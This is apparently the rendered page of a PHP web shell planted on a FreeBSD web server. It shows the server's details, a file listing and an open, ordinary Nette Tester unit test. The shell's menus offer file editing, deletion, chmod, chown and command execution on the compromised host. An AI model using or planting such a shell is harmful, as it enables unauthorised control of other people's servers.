TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
tester
tests
Runner
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/tester/tests/Runner/Runner.edge.phpt
<?php /** * @phpversion 5.4 Requires constant PHP_BINARY available since PHP 5.4.0 */ use Tester\Assert; use Tester\Runner\Runner; require __DIR__ . '/../bootstrap.php'; require __DIR__ . '/../../src/Runner/OutputHandler.php'; require __DIR__ . '/../../src/Runner/TestHandler.php'; require __DIR__ . '/../../src/Runner/Runner.php'; class Logger implements Tester\Runner\OutputHandler { public $results = []; function result($testName, $result, $message) { $this->results[basename($testName)] = [$result, $message]; } function begin() {} function end() {} } $runner = new Tester\Runner\Runner(createInterpreter()); $runner->paths[] = __DIR__ . '/edge/*.phptx'; $runner->outputHandlers[] = $logger = new Logger; $runner->run(); $cli = PHP_SAPI === 'cli'; $bug62725 = $cli && PHP_VERSION_ID >= 50400 && PHP_VERSION_ID <= 50406; Assert::same($bug62725 ? [Runner::PASSED, NULL] : [Runner::FAILED, 'Exited with error code 231 (expected 0)'], $logger->results['shutdown.exitCode.a.phptx']); $bug65275 = !defined('HHVM_VERSION') && $cli && PHP_VERSION_ID >= 50300; // bug still exists Assert::same($bug65275 ? [Runner::FAILED, 'Exited with error code 231 (expected 0)'] : [Runner::PASSED, NULL], $logger->results['shutdown.exitCode.b.phptx']); Assert::same([Runner::SKIPPED, 'just skipping'], $logger->results['skip.phptx']); Assert::same($bug62725 ? Runner::PASSED : Runner::FAILED, $logger->results['shutdown.assert.phptx'][0]); Assert::match($bug62725 ? '' : "Failed: 'b' should be%A%", Tester\Dumper::removeColors($logger->results['shutdown.assert.phptx'][1]));
Crotin
Name
Size
Permissions
Modified
User/Group
Runner.stop-on-fail.phpt
1934
0644
2015-09-30 18:29:01
Unknown/Unknown
Job.phpt
689
0644
2015-09-30 18:29:00
Unknown/Unknown
annotations
-
0755
2015-09-30 18:29:25
Unknown/Unknown
edge
-
0755
2015-09-30 18:29:23
Unknown/Unknown
find-tests
-
0755
2015-09-30 18:29:22
Unknown/Unknown
Runner.annotations.phpt
2695
0644
2015-09-30 18:29:00
Unknown/Unknown
HhvmPhpInterpreter.phpt
445
0644
2015-09-30 18:29:00
Unknown/Unknown
Runner.find-tests.phpt
945
0644
2015-09-30 18:29:00
Unknown/Unknown
multiple-fails
-
0755
2015-09-30 18:29:22
Unknown/Unknown
CommandLine.phpt
6013
0644
2015-09-30 18:29:01
Unknown/Unknown
Job.test.phptx
221
0644
2015-09-30 18:29:00
Unknown/Unknown
multiple
-
0755
2015-09-30 18:29:22
Unknown/Unknown
ZendPhpExecutable.phpt
497
0644
2015-09-30 18:29:01
Unknown/Unknown
Runner.multiple.phpt
3075
0644
2015-09-30 18:29:00
Unknown/Unknown
Runner.multiple-fails.phpt
2400
0644
2015-09-30 18:29:00
Unknown/Unknown
stop-on-fail
-
0755
2015-09-30 18:29:23
Unknown/Unknown
Runner.edge.phpt
1581
0644
2015-09-30 18:29:01
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin